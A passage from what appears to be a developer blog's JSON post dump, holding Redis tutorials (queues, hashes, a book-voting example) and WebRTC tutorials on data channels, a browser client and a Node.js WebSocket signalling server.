following code:\nvar redis = require(\u0026#34;redis\u0026#34;); var client = redis.createClient(); var queue = require(\u0026#34;./logqueue\u0026#34;); //create a logQueue object and pass the redis client to it var logQueue = new queue.LogQueue(\u0026#34;logs\u0026#34;, client); function logMessages(){ //retrieve the last message and show it logQueue.pop(function(err, replies){ var queueName = replies[0]; var message = replies[1]; console.log(\u0026#34;Consumer got log:\u0026#34; + message); logQueue.size(function(err, size){ console.log(\u0026#34;Size:\u0026#34; + size); }); //call the function recursively logMessages(); }); } logMessages(); The queue system is ready. Run node producer on one terminal window and node consumer in another. Notice the consumer will continue waiting for new messages, so you can run node producer again to see new log messages.\nThe above example is not ready for production environment. If anything goes wrong, popped items may be not properly handled. You can use RPOPLPUSH to add the item to an additional queue and check that there are no errors.\nNow it\u0026rsquo;s time to discover hashes. Hashes are great for storing objects. The are optimized to use memory efficiently. Hash is a mapping of a String to a String. Hash can be a ziplist or a hash table. A zilpist is a memory efficient dually linked list. Hash table is not memory-optimized but has a constant-time lookup.\nHSET: sets a value to a field of a given key HMSET: sets multiple field values to a key HINCRBY: increments a field by a given integer HINCRBYFLOAT: increments a field by a given float HGET: retrieves a field from a hash HMGET: retrieves multiple fields at once\nHGETALL: returns an array of all field/value pairs in a hash HDEL: deletes a field from a hash\nHKEYS: returns only the field names HVALS: returns only the field values\nLet\u0026rsquo;s create an example application. It will be a book voting system with upvote and downvote functions.\nCreate a bookvotes.js file:\nvar redis = require(\u0026#34;redis\u0026#34;); var client = redis.createClient(); //save a book via HMSET function function saveBook(id, author, title){ client.hmset(\u0026#34;book:\u0026#34;+id, \u0026#34;author\u0026#34;, author, \u0026#34;title\u0026#34;, title, \u0026#34;votes\u0026#34;, 0); } //+1 vote for a book function upVote(id){ client.hincrby(\u0026#34;book:\u0026#34;+id, \u0026#34;votes\u0026#34;, 1); } //-1 vote for a book. Notice the negative number in the HINCRBY function function downVote(id){ client.hincrby(\u0026#34;book:\u0026#34;+id, \u0026#34;votes\u0026#34;, -1); } //show all the fields by the book ID function showDetails(id){ client.hgetall(\u0026#34;book:\u0026#34;+id, function(err, replies){ console.log(\u0026#34;title:\u0026#34;,replies[\u0026#39;title\u0026#39;]); console.log(\u0026#34;author:\u0026#34;,replies[\u0026#39;author\u0026#39;]); console.log(\u0026#34;votes:\u0026#34;,replies[\u0026#39;votes\u0026#39;]); }); } saveBook(1, \u0026#34;title 1\u0026#34;, \u0026#34;author 1\u0026#34;); upVote(1); upVote(1); saveBook(2, \u0026#34;title 2\u0026#34;, \u0026#34;author 2\u0026#34;); upVote(2); upVote(2); downVote(2); showDetails(1); showDetails(2); client.quit(); Now run node bookvotes.\nNotice that HGETALL may have a memory issues if a Hash has many fields. In this case, it is better using the HSCAN function. It returns a cursor and the Hash fields with their values in chunks. You need to execute this function until the returned cursor is 0.\nThe above example may return something like\n1) \u0026#34;17\u0026#34; 2) 1) \u0026#34;key:12\u0026#34; 2) \u0026#34;key:8\u0026#34; 3) \u0026#34;key:4\u0026#34; 4) \u0026#34;key:14\u0026#34; 5) \u0026#34;key:16\u0026#34; 6) \u0026#34;key:17\u0026#34; 7) \u0026#34;key:15\u0026#34; 8) \u0026#34;key:10\u0026#34; 9) \u0026#34;key:3\u0026#34; 10) \u0026#34;key:7\u0026#34; 11) \u0026#34;key:1\u0026#34; In this case to retrieve the next chunk of data we need to run HSCAN test 17.\nIn this tutorial, we installed Redis and tried out several data types. That\u0026rsquo;s all for today :)\n","permalink":"https://www.ryzhak.com/comprehensive-guide-to-redis-part-1/","summary":"Redis (REmote DIctionary Server) is an advanced key-value data store. Read and write operations in Redis are very fast because it saves all data in the memory. Redis can also save data on the hard drive. The official Redis documentation can be found at \u003ca href=\"http://redis.io\"\u003ehttp://redis.io\u003c/a\u003e. Redis is an open sources project used by many companies including Instagram and Twitter. In this tutorial, we will install Redis, install Node.js, and try out several data types.","title":"Comprehensive guide to Redis. Part 1."},{"content":"In this tutorial, we are going to focus on the transferring arbitrary data using WebRTC Data Channel Protocol.\nThe WebRTC introduces the SCTP (Stream Control Transmission Protocol) as a way of sending data through the peer connection. SCTP is built on top of the DTLS (Datagram Transport Layer Security), which is sitting on top of the UDP stack.\nWe can establish the RTCDataChannel API this way:\nvar peerConnection = new RTCPeerConnection(); //establish peer connection using signalling here var dataChannelOptions = { reliable: false, maxTransmitTime: 3000 }; var dataChannel = peerConnection.createDataChannel(\u0026#34;myLable\u0026#34;, dataChannelOptions); And that\u0026rsquo;s it! The RTCDataChannel is established. This will happen once signaling has been performed and the connection has been successfully created.\nThe data channel can be in the following states: 1. connecting A default state, data channel waits for a connection. 2. open The connection is established. 3. closing The channel is being destroyed. 4. closed The channel is closed and communication is not possible.\nWhen the other peer creates a channel, the ondatachannel event of the RTCPeerConnection object is fired. The RTCDataChannel object also provides a few straightforward events:\ndataChannel.onerror = function(error){ console.log(\u0026#34;Data channel error:\u0026#34;, error); }; dataChannel.onmessage = function(event){ console.log(\u0026#34;Data channel message:\u0026#34;, event.data); }; dataChannel.onopen = function(){ console.log(\u0026#34;Data channel opened, ready to send messages!\u0026#34;); dataChannel.send(\u0026#34;Hello world!\u0026#34;); }; dataChannel.onclose = function(){ console.log(\u0026#34;Data channel has been closed\u0026#34;); }; You can configure your data channel options using the second parameter in the constructor. They are: 1. reliable Guarantee or not message delivery. (TCP or UDP) 2. ordered Whether messages should be sent and received the right order. 3. maxRetransmitTime Max time to resend a failed message. 4. maxRetransmits Max number of times to resend a failed message. 5. protocol Will force a different subprotocol. Will show an error if it is not supported. 6. negotiated Whether the developer is responsible for creating data channels on both peers or the browser should perform this step automatically. 7. id Channel ID\nThe send method of the data channel allows to send different javascript types over the transport layer: 1. String A simpe javascript string 2. Blob A file-like format of raw data 3. ArrayBuffer A typed-array 4. ArrayBufferView A view frame of the ArrayBuffer\nYou can identify the type this way:\ndataChannel.onmessage = function(event){ console.log(\u0026#34;Data channel message:\u0026#34;, event.data); var data = event.data; if(data instanceof Blob){ //handle blob } else if (data instanceof ArrayBuffer){ //handle ArrayBuffer } else if (data instanceof ArrayBufferView){ //handle ArrayBufferView } else { //handle string } }; So let\u0026rsquo;s add a text chat in our application. It will look something like this:\nRun our signaling server, which we created in part 3. Add the following index.html file:\nLogin As Login Call Hang Up Send Add the following client.js file:\n//our user var name; //user connected to us var connectedUser; //setup a connection to websocket server var connection = new WebSocket(\u0026#39;ws://localhost:9090\u0026#39;); connection.onopen = function(){ console.log(\u0026#34;Connected\u0026#34;); }; //handling messages we got from the server connection.onmessage = function(message){ console.log(\u0026#34;Got message\u0026#34;, message.data); var data = JSON.parse(message.data); switch(data.type){ //check for login success case \u0026#34;login\u0026#34;: onLogin(data.success); break; //when a user wants to connect to us case \u0026#34;offer\u0026#34;: onOffer(data.offer, data.name); break; //when we send offer to a user and he send back an answer to us case \u0026#34;answer\u0026#34;: onAnswer(data.answer); break; //when remote user sends us an ice candidate case \u0026#34;candidate\u0026#34;: onCandidate(data.candidate); break; //when remote user leaves us case \u0026#34;leave\u0026#34;: onLeave(); break; default: break; } }; connection.onerror = function(err){ console.log(\u0026#34;Got error\u0026#34;, err); }; //alias for sending messages in json format function send(message){ if(connectedUser){ message.name = connectedUser; } connection.send(JSON.stringify(message)); } //Login implementation var loginPage = document.querySelector(\u0026#39;#login-page\u0026#39;), usernameInput = document.querySelector(\u0026#39;#username\u0026#39;), loginButton = document.querySelector(\u0026#39;#login\u0026#39;), callPage = document.querySelector(\u0026#39;#call-page\u0026#39;), theirUsernameInput = document.querySelector(\u0026#39;#their-username\u0026#39;), callButton = document.querySelector(\u0026#39;#call\u0026#39;), hangUpButton = document.querySelector(\u0026#39;#hang-up\u0026#39;); //initially hide call page in order to show login page first callPage.style.display = \u0026#39;none\u0026#39;; //Login when the user clicks the button \u0026#34;login\u0026#34; loginButton.addEventListener(\u0026#39;click\u0026#39;, function(event){ name = usernameInput.value; if(name.length \u0026gt; 0){ send({ type: \u0026#34;login\u0026#34;, name:name }); } }); function onLogin(success){ if(success === false){ alert(\u0026#34;Login unsuccessful, please try a different name.\u0026#34;); } else { //if login was successful loginPage.style.display = \u0026#34;none\u0026#34;; callPage.style.display = \u0026#34;block\u0026#34;; //set up requirements for maling a webrtc connection startConnection(); } } //Starting a peer connection var yourVideo = document.querySelector(\u0026#39;#yours\u0026#39;), theirVideo = document.querySelector(\u0026#39;#theirs\u0026#39;), yourConnection, stream; function startConnection(){ //if the user\u0026#39;s device supports webrtc if(hasUserMedia()){ navigator.getUserMedia({video: true, audio: true}, function(myStream){ stream = myStream; //add local stream in the top right corner yourVideo.src = window.URL.createObjectURL(stream); if(hasRTCPeerConnection()){ setupPeerConnection(stream); } else { alert(\u0026#34;Sorry, your browser does not support WebRTC\u0026#34;); } }, function(error){ console.log(error); }) } else { alert(\u0026#34;Sorry, your browser does not support WebRTC\u0026#34;); } } function setupPeerConnection(stream){ var configuration = { \u0026#34;iceServers\u0026#34;:[{\u0026#34;url\u0026#34;:\u0026#34;stun:stun.1.google.com:19302\u0026#34;}] }; yourConnection = new RTCPeerConnection(configuration, { optional: [{ RtpDataChannels: true }] }); openDataChannel(); //Setup stream listening yourConnection.addStream(stream); yourConnection.onaddstream = function(e){ theirVideo.src = window.URL.createObjectURL(e.stream); }; //setup ice handling //sending ice candidate to another user yourConnection.onicecandidate = function(event){ console.log(\u0026#34;onicecandidate\u0026#34;); if(event.candidate){ send({ type: \u0026#34;candidate\u0026#34;, candidate: event.candidate }); } }; } //check if the user\u0026#39;s device supports webrtc function hasUserMedia(){ navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia; return !!navigator.getUserMedia; } //check if the user\u0026#39;s device supports rtcpeerconnection object function hasRTCPeerConnection(){ window.RTCPeerConnection = window.RTCPeerConnection || window.webkitRTCPeerConnection || window.mozRTCPeerConnection; window.RTCSessionDescription = window.RTCSessionDescription || window.webkitRTCSessionDescription || window.mozRTCSessionDescription; window.RTCIceCandidate = window.RTCIceCandidate || window.webkitRTCIceCandidate || window.mozRTCIceCandidate; return !!window.RTCPeerConnection; } //Initiating a call to the other user callButton.addEventListener(\u0026#34;click\u0026#34;, function(){ var theirUsername = theirUsernameInput.value; if(theirUsername.length \u0026gt; 0){ startPeerConnection(theirUsername); } }); //sending offer and starting ice candidates trading //remember this process is asynchronous function startPeerConnection(user){ connectedUser = user; //begin the offer yourConnection.createOffer(function(offer){ send({ type: \u0026#34;offer\u0026#34;, offer: offer }); yourConnection.setLocalDescription(offer); }), function(error){ alert(\u0026#34;An error has occured.\u0026#34;); }; } //when we receive an offer from another user function onOffer(offer, name){ connectedUser = name; yourConnection.setRemoteDescription(new RTCSessionDescription(offer)); yourConnection.createAnswer(function(answer){ yourConnection.setLocalDescription(answer); send({ type: \u0026#34;answer\u0026#34;, answer: answer }); }, function(error){ alert(\u0026#34;An error has occured\u0026#34;); }); } //when we got an answer to our offer function onAnswer(answer){ yourConnection.setRemoteDescription(new RTCSessionDescription(answer)); } //when we got ice candidate from a user we save it function onCandidate(candidate){ console.log(\u0026#34;oncandidate\u0026#34;); yourConnection.addIceCandidate(new RTCIceCandidate(candidate)); } //Hanging up a call //send the other user a leave message and destroy a connection hangUpButton.addEventListener(\u0026#34;click\u0026#34;, function(){ send({ type: \u0026#34;leave\u0026#34; }); onLeave(); }); function onLeave(){ connectedUser = null; theirVideo.src = null; //close rtcpeerconnection and stop transmitting our stream to the other user yourConnection.close(); yourConnection.onicecandidate = null; yourConnection.onaddstream = null; //setup rtcpeerconnection again to accept new calls setupPeerConnection(stream); } //Implementing text chat function openDataChannel(){ var dataChannelOptions = { reliable:true }; dataChannel = yourConnection.createDataChannel(\u0026#34;myLabel\u0026#34;, dataChannelOptions); dataChannel.onerror = function(error){ console.log(\u0026#34;Data Channel Error:\u0026#34;, error); }; dataChannel.onmessage = function(event){ console.log(\u0026#34;Got Data Channel Message:\u0026#34;, event.data); received.innerHTML += \u0026#34;recv: \u0026#34; + event.data + \u0026#34; \u0026#34;; received.scrollTop = received.scrollHeight; }; dataChannel.onopen = function(){ dataChannel.send(fo + \u0026#34;has connected\u0026#34;); }; dataChannel.onclose = function(){ console.log(\u0026#34;The Data Channel is closed\u0026#34;); }; } //when sending a text message sendButton.addEventListener(\u0026#34;click\u0026#34;, function(event){ console.log(\u0026#34;send mes!\u0026#34;); var val = messageInput.value; received.innerHTML += \u0026#34;send: \u0026#34; + val + \u0026#34; \u0026#34;; received.scrollTop = received.scrollHeight; dataChannel.send(val); }); Then login with 2 users. Call one to another and try to send messages. This example works for Chome only.\nThat\u0026rsquo;s all. Hope this series was helpful to you.\n","permalink":"https://www.ryzhak.com/comprehensive-guide-to-webrtc-part-55/","summary":"In this tutorial, we are going to focus on the transferring arbitrary data using WebRTC Data Channel Protocol.","title":"Comprehensive guide to WebRTC. Part 5/5."},{"content":"In this part we are going to create a client application which connects two users using signalling server we created in the previous part.\nVisual structure: There will be 2 pages in our app: one for login and another for calling a user.\nTo start, let\u0026rsquo;s create a basic HTML page index.html:\nLogin As Login Call Hang Up Create the client.js file:\n//our user var name; //user connected to us var connectedUser; //setup a connection to websocket server var connection = new WebSocket(\u0026#39;ws://localhost:9090\u0026#39;); connection.onopen = function(){ console.log(\u0026#34;Connected\u0026#34;); }; //handling messages we got from the server connection.onmessage = function(message){ console.log(\u0026#34;Got message\u0026#34;, message.data); var data = JSON.parse(message.data); switch(data.type){ //check for login success case \u0026#34;login\u0026#34;: onLogin(data.success); break; //when a user wants to connect to us case \u0026#34;offer\u0026#34;: onOffer(data.offer, data.name); break; //when we send offer to a user and he send back an answer to us case \u0026#34;answer\u0026#34;: onAnswer(data.answer); break; //when remote user sends us an ice candidate case \u0026#34;candidate\u0026#34;: onCandidate(data.candidate); break; //when remote user leaves us case \u0026#34;leave\u0026#34;: onLeave(); break; default: break; } }; connection.onerror = function(err){ console.log(\u0026#34;Got error\u0026#34;, err); }; //alias for sending messages in json format function send(message){ if(connectedUser){ message.name = connectedUser; } connection.send(JSON.stringify(message)); } Let\u0026rsquo;s implement a simple login auth. We will simply send a username to the server which will tell if the username has been taken or not. Add the following code:\n//Login implementation var loginPage = document.querySelector(\u0026#39;#login-page\u0026#39;), usernameInput = document.querySelector(\u0026#39;#username\u0026#39;), loginButton = document.querySelector(\u0026#39;#login\u0026#39;), callPage = document.querySelector(\u0026#39;#call-page\u0026#39;), theirUsernameInput = document.querySelector(\u0026#39;#their-username\u0026#39;), callButton = document.querySelector(\u0026#39;#call\u0026#39;), hangUpButton = document.querySelector(\u0026#39;#hang-up\u0026#39;); //initially hide call page in order to show login page first callPage.style.display = \u0026#39;none\u0026#39;; //Login when the user clicks the button \u0026#34;login\u0026#34; loginButton.addEventListener(\u0026#39;click\u0026#39;, function(event){ name = usernameInput.value; if(name.length \u0026gt; 0){ send({ type: \u0026#34;login\u0026#34;, name:name }); } }); function onLogin(success){ if(success === false){ alert(\u0026#34;Login unsuccessful, please try a different name.\u0026#34;); } else { //if login was successful loginPage.style.display = \u0026#34;none\u0026#34;; callPage.style.display = \u0026#34;block\u0026#34;; //set up requirements for maling a webrtc connection startConnection(); } } In the startConnection function we will: 1. Obtain a video stream from the camera 2. Check if the user\u0026rsquo;s device supports WebRTC 3. Create the RTCPeerConnection object\nAdd the following code:\n//Starting a peer connection var yourVideo = document.querySelector(\u0026#39;#yours\u0026#39;), theirVideo = document.querySelector(\u0026#39;#theirs\u0026#39;), yourConnection, stream; function startConnection(){ //if the user\u0026#39;s device supports webrtc if(hasUserMedia()){ navigator.getUserMedia({video: true, audio: true}, function(myStream){ stream = myStream; //add local stream in the top right corner yourVideo.src = window.URL.createObjectURL(stream); if(hasRTCPeerConnection()){ setupPeerConnection(stream); } else { alert(\u0026#34;Sorry, your browser does not support WebRTC\u0026#34;); } }, function(error){ console.log(error); }) } else { alert(\u0026#34;Sorry, your browser does not support WebRTC\u0026#34;); } } function setupPeerConnection(stream){ var configuration = { \u0026#34;iceServers\u0026#34;:[{\u0026#34;url\u0026#34;:\u0026#34;stun:stun.1.google.com:19302\u0026#34;}] }; yourConnection = new RTCPeerConnection(configuration); //Setup stream listening yourConnection.addStream(stream); yourConnection.onaddstream = function(e){ theirVideo.src = window.URL.createObjectURL(e.stream); }; //setup ice handling //sending ice candidate to another user yourConnection.onicecandidate = function(event){ console.log(\u0026#34;onicecandidate\u0026#34;); if(event.candidate){ send({ type: \u0026#34;candidate\u0026#34;, candidate: event.candidate }); } }; } //check if the user\u0026#39;s device supports webrtc function hasUserMedia(){ navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia; return !!navigator.getUserMedia; } //check if the user\u0026#39;s device supports rtcpeerconnection object function hasRTCPeerConnection(){ window.RTCPeerConnection = window.RTCPeerConnection || window.webkitRTCPeerConnection || window.mozRTCPeerConnection; window.RTCSessionDescription = window.RTCSessionDescription || window.webkitRTCSessionDescription || window.mozRTCSessionDescription; window.RTCIceCandidate = window.RTCIceCandidate || window.webkitRTCIceCandidate || window.mozRTCIceCandidate; return !!window.RTCPeerConnection; } Now if you run the server and open a client app you will see your local stream in the top right corner of the screen.\nNow we are ready to implement a calling function. The scheme is: 1. UserA send the offer to UserB 2. Once UserB receives the offer he sends the answer back 3. They both start trading ICE candidates\nAdd the following code:\n//Initiating a call to the other user callButton.addEventListener(\u0026#34;click\u0026#34;, function(){ var theirUsername = theirUsernameInput.value; if(theirUsername.length \u0026gt; 0){ startPeerConnection(theirUsername); } }); //sending offer and starting ice candidates trading //remember this process is asynchronous function startPeerConnection(user){ connectedUser = user; //begin the offer yourConnection.createOffer(function(offer){ send({ type: \u0026#34;offer\u0026#34;, offer: offer }); yourConnection.setLocalDescription(offer); }), function(error){ alert(\u0026#34;An error has occured.\u0026#34;); }; } //when we receive an offer from another user function onOffer(offer, name){ connectedUser = name; yourConnection.setRemoteDescription(new RTCSessionDescription(offer)); yourConnection.createAnswer(function(answer){ yourConnection.setLocalDescription(answer); send({ type: \u0026#34;answer\u0026#34;, answer: answer }); }, function(error){ alert(\u0026#34;An error has occured\u0026#34;); }); } //when we got an answer to our offer function onAnswer(answer){ yourConnection.setRemoteDescription(new RTCSessionDescription(answer)); } //when we got ice candidate from a user we save it function onCandidate(candidate){ console.log(\u0026#34;oncandidate\u0026#34;); yourConnection.addIceCandidate(new RTCIceCandidate(candidate)); } Now if you open the client app in two tabs in your browser, login 2 users and try to call to another user you may see local and remote streams on the web page. If something goes wrong you may navigate(in Chrome) to View-\u0026gt;Developer-\u0026gt;Developer Tools, open the Network tab and inspect the traffic for errors.\nThe last feature is hanging up an in-progress call. Add the following code:\n//Hanging up a call //send the other user a leave message and destroy a connection hangUpButton.addEventListener(\u0026#34;click\u0026#34;, function(){ send({ type: \u0026#34;leave\u0026#34; }); onLeave(); }); function onLeave(){ connectedUser = null; theirVideo.src = null; //close rtcpeerconnection and stop transmitting our stream to the other user yourConnection.close(); yourConnection.onicecandidate = null; yourConnection.onaddstream = null; //setup rtcpeerconnection again to accept new calls setupPeerConnection(stream); } This is out entire client application, client.js file:\n//our user var name; //user connected to us var connectedUser; //setup a connection to websocket server var connection = new WebSocket(\u0026#39;ws://localhost:9090\u0026#39;); connection.onopen = function(){ console.log(\u0026#34;Connected\u0026#34;); }; //handling messages we got from the server connection.onmessage = function(message){ console.log(\u0026#34;Got message\u0026#34;, message.data); var data = JSON.parse(message.data); switch(data.type){ //check for login success case \u0026#34;login\u0026#34;: onLogin(data.success); break; //when a user wants to connect to us case \u0026#34;offer\u0026#34;: onOffer(data.offer, data.name); break; //when we send offer to a user and he send back an answer to us case \u0026#34;answer\u0026#34;: onAnswer(data.answer); break; //when remote user sends us an ice candidate case \u0026#34;candidate\u0026#34;: onCandidate(data.candidate); break; //when remote user leaves us case \u0026#34;leave\u0026#34;: onLeave(); break; default: break; } }; connection.onerror = function(err){ console.log(\u0026#34;Got error\u0026#34;, err); }; //alias for sending messages in json format function send(message){ if(connectedUser){ message.name = connectedUser; } connection.send(JSON.stringify(message)); } //Login implementation var loginPage = document.querySelector(\u0026#39;#login-page\u0026#39;), usernameInput = document.querySelector(\u0026#39;#username\u0026#39;), loginButton = document.querySelector(\u0026#39;#login\u0026#39;), callPage = document.querySelector(\u0026#39;#call-page\u0026#39;), theirUsernameInput = document.querySelector(\u0026#39;#their-username\u0026#39;), callButton = document.querySelector(\u0026#39;#call\u0026#39;), hangUpButton = document.querySelector(\u0026#39;#hang-up\u0026#39;); //initially hide call page in order to show login page first callPage.style.display = \u0026#39;none\u0026#39;; //Login when the user clicks the button \u0026#34;login\u0026#34; loginButton.addEventListener(\u0026#39;click\u0026#39;, function(event){ name = usernameInput.value; if(name.length \u0026gt; 0){ send({ type: \u0026#34;login\u0026#34;, name:name }); } }); function onLogin(success){ if(success === false){ alert(\u0026#34;Login unsuccessful, please try a different name.\u0026#34;); } else { //if login was successful loginPage.style.display = \u0026#34;none\u0026#34;; callPage.style.display = \u0026#34;block\u0026#34;; //set up requirements for maling a webrtc connection startConnection(); } } //Starting a peer connection var yourVideo = document.querySelector(\u0026#39;#yours\u0026#39;), theirVideo = document.querySelector(\u0026#39;#theirs\u0026#39;), yourConnection, stream; function startConnection(){ //if the user\u0026#39;s device supports webrtc if(hasUserMedia()){ navigator.getUserMedia({video: true, audio: true}, function(myStream){ stream = myStream; //add local stream in the top right corner yourVideo.src = window.URL.createObjectURL(stream); if(hasRTCPeerConnection()){ setupPeerConnection(stream); } else { alert(\u0026#34;Sorry, your browser does not support WebRTC\u0026#34;); } }, function(error){ console.log(error); }) } else { alert(\u0026#34;Sorry, your browser does not support WebRTC\u0026#34;); } } function setupPeerConnection(stream){ var configuration = { \u0026#34;iceServers\u0026#34;:[{\u0026#34;url\u0026#34;:\u0026#34;stun:stun.1.google.com:19302\u0026#34;}] }; yourConnection = new RTCPeerConnection(configuration); //Setup stream listening yourConnection.addStream(stream); yourConnection.onaddstream = function(e){ theirVideo.src = window.URL.createObjectURL(e.stream); }; //setup ice handling //sending ice candidate to another user yourConnection.onicecandidate = function(event){ console.log(\u0026#34;onicecandidate\u0026#34;); if(event.candidate){ send({ type: \u0026#34;candidate\u0026#34;, candidate: event.candidate }); } }; } //check if the user\u0026#39;s device supports webrtc function hasUserMedia(){ navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia; return !!navigator.getUserMedia; } //check if the user\u0026#39;s device supports rtcpeerconnection object function hasRTCPeerConnection(){ window.RTCPeerConnection = window.RTCPeerConnection || window.webkitRTCPeerConnection || window.mozRTCPeerConnection; window.RTCSessionDescription = window.RTCSessionDescription || window.webkitRTCSessionDescription || window.mozRTCSessionDescription; window.RTCIceCandidate = window.RTCIceCandidate || window.webkitRTCIceCandidate || window.mozRTCIceCandidate; return !!window.RTCPeerConnection; } //Initiating a call to the other user callButton.addEventListener(\u0026#34;click\u0026#34;, function(){ var theirUsername = theirUsernameInput.value; if(theirUsername.length \u0026gt; 0){ startPeerConnection(theirUsername); } }); //sending offer and starting ice candidates trading //remember this process is asynchronous function startPeerConnection(user){ connectedUser = user; //begin the offer yourConnection.createOffer(function(offer){ send({ type: \u0026#34;offer\u0026#34;, offer: offer }); yourConnection.setLocalDescription(offer); }), function(error){ alert(\u0026#34;An error has occured.\u0026#34;); }; } //when we receive an offer from another user function onOffer(offer, name){ connectedUser = name; yourConnection.setRemoteDescription(new RTCSessionDescription(offer)); yourConnection.createAnswer(function(answer){ yourConnection.setLocalDescription(answer); send({ type: \u0026#34;answer\u0026#34;, answer: answer }); }, function(error){ alert(\u0026#34;An error has occured\u0026#34;); }); } //when we got an answer to our offer function onAnswer(answer){ yourConnection.setRemoteDescription(new RTCSessionDescription(answer)); } //when we got ice candidate from a user we save it function onCandidate(candidate){ console.log(\u0026#34;oncandidate\u0026#34;); yourConnection.addIceCandidate(new RTCIceCandidate(candidate)); } //Hanging up a call //send the other user a leave message and destroy a connection hangUpButton.addEventListener(\u0026#34;click\u0026#34;, function(){ send({ type: \u0026#34;leave\u0026#34; }); onLeave(); }); function onLeave(){ connectedUser = null; theirVideo.src = null; //close rtcpeerconnection and stop transmitting our stream to the other user yourConnection.close(); yourConnection.onicecandidate = null; yourConnection.onaddstream = null; //setup rtcpeerconnection again to accept new calls setupPeerConnection(stream); } Of course there\u0026rsquo;s a lot to do to make this app better, like checking user input at each part or handling not having enough bandwidth to stream a video call or handling not being able to traverse firewalls or something else. This is just a basic WebRTC application.\nThat\u0026rsquo;s all for today :)\n","permalink":"https://www.ryzhak.com/comprehensive-guide-to-webrtc-part-4/","summary":"In this part we are going to create a client application which connects two users using signalling server we created in the \u003ca href=\"/comprehensive-guide-to-webrtc-part-3/\"\u003eprevious part\u003c/a\u003e.","title":"Comprehensive guide to WebRTC. Part 4/5."},{"content":"In this tutorial we are going to create a basic signalling server using javascript and nodejs. It will be able to connect two users together.\nAssume we have 2 users UserA and UserB the scheme of our server will be: 1. Each user will start by registering themselves on the server(simple string login). 2. Now UserA can call UserB. UserA makes an offer with the user identifier(UserB) he wishes to call. 3. The other user(User B) should answer. 4. In the end ice candidates are sent between users so they can make a connection. Remember that there are no rules implementing a signalling server.\nFirst of all you should install node.js on your computer. To test it create an index.js file and put the following code:\nconsole.log(\u0026#34;node testing\u0026#34;); Then run it using node index.js. You might see the output phrase in the console.\nWe are going to use WebSockets - a bidirectional socket connection between a web browser and a web server. Run npm install ws to install WebSockets library for node.js.\nLet\u0026rsquo;s start using it. Insert the following code in an index.js file:\n//require our websocket library var WebSocketServer = require(\u0026#39;ws\u0026#39;).Server; //creating a websocket server at port 9090 var wss = new WebSocketServer({port: 9090}); wss.on(\u0026#39;connection\u0026#39;, function(connection){ console.log(\u0026#34;User connected\u0026#34;); //when server gets a message from a connected user connection.on(\u0026#39;message\u0026#39;, function(message){ console.log(\u0026#34;Got message:\u0026#34;, message); }); connection.send(\u0026#34;Hello world\u0026#34;); }); To test our server install wscat. Run npm install -g wscat. This will install wscat globally so you will be able to access it through a command line.\nRun our server in one console window. Then open a new console window and run wscat -c ws://localhost:9090. Then try to send a message to the server.\nLet\u0026rsquo;s add a simple string based auth. Modify index.js:\n//require our websocket library var WebSocketServer = require(\u0026#39;ws\u0026#39;).Server; //creating a websocket server at port 9090 var wss = new WebSocketServer({port: 9090}); //all connected to the server users var users = {}; //when a user connects to our sever wss.on(\u0026#39;connection\u0026#39;, function(connection){ console.log(\u0026#34;User connected\u0026#34;); //when server gets a message from a connected user connection.on(\u0026#39;message\u0026#39;, function(message){ var data; //accepting only JSON messages try { data = JSON.parse(message); } catch (e) { console.log(\u0026#34;Error parsing JSON\u0026#34;); data = {}; } //switching type of the user message switch (data.type){ //when a user tries to login case \u0026#34;login\u0026#34;: console.log(\u0026#34;User logged as\u0026#34;, data.name); //if anyone has already logged with this username refuse if(users[data.name]){ sendTo(connection, { type: \u0026#34;login\u0026#34;, success: false }); } else { //save user connection on the server users[data.name] = connection; connection.name = data.name; sendTo(connection, { type: \u0026#34;login\u0026#34;, success: true }); } break; default: sendTo(connection, { type: \u0026#34;error\u0026#34;, message: \u0026#34;Unrecognized command: \u0026#34; + data.type }); break; } }); //when user exits connection.on(\u0026#34;close\u0026#34;, function(){ if(connection.name){ delete users[connection.name]; } }); connection.send(\u0026#34;Hello world\u0026#34;); }); function sendTo(conn, message){ conn.send(JSON.stringify(message)); } Now connect to our server and try to login: run wscat -c ws://localhost:9090 run {\u0026quot;type\u0026quot;:\u0026quot;login\u0026quot;,\u0026quot;name\u0026quot;:\u0026quot;UserA\u0026quot;} when connected\nLet\u0026rsquo;s implement the offer handler, which is called when one user want to call another:\ncase \u0026#34;offer\u0026#34;: //for ex. UserA wants to call UserB console.log(\u0026#34;Sending offer to: \u0026#34;, data.name); //if UserB exists then send him offer details var conn = users[data.name]; if(conn != null){ //setting that UserA connected with UserB connection.otherName = data.name; sendTo(conn, { type: \u0026#34;offer\u0026#34;, offer: data.offer, name: connection.name }); } break; The answer handler is called when user answers to someone\u0026rsquo;s offer:\ncase \u0026#34;answer\u0026#34;: console.log(\u0026#34;Sending answer to: \u0026#34;, data.name); //for ex. UserB answers UserA var conn = users[data.name]; if(conn != null){ connection.otherName = data.name; sendTo(conn, { type: \u0026#34;answer\u0026#34;, answer: data.answer }); } break; The final part is handling ICE candidates between users. Remember that candidate messages might happen multiple times between users. Add candidate handler:\ncase \u0026#34;candidate\u0026#34;: console.log(\u0026#34;Sending candidate to:\u0026#34;,data.name); var conn = users[data.name]; if(conn != null){ sendTo(conn, { type: \u0026#34;candidate\u0026#34;, candidate: data.candidate }); } break; A good feature is implementing the leave handler which will allow our users to disconnect from another user and notify our server to disconnect any user references. Add the leave handler:\ncase \u0026#34;leave\u0026#34;: console.log(\u0026#34;Disconnecting user from\u0026#34;, data.name); var conn = users[data.name]; conn.otherName = null; //notify the other user so he can disconnect his peer connection if(conn != null){ sendTo(conn, { type: \u0026#34;leave\u0026#34; }); } break; To handle a case when a user drops a connection we need to modify the close handler:\n//when user exits, for example closes a browser window //this may help if we are still in \u0026#34;offer\u0026#34;,\u0026#34;answer\u0026#34; or \u0026#34;canidate\u0026#34; state connection.on(\u0026#34;close\u0026#34;, function(){ if(connection.name){ delete users[connection.name]; if(connection.otherName){ console.log(\u0026#34;Disconnecting user from \u0026#34;, connection.otherName); var conn = users[connection.otherName]; conn.otherName = null; if(conn != null){ sendTo(conn, { type: \u0026#34;leave\u0026#34; }); } } } }); The entire code of our signalling server:\n//require our websocket library var WebSocketServer = require(\u0026#39;ws\u0026#39;).Server; //creating a websocket server at port 9090 var wss = new WebSocketServer({port: 9090}); //all 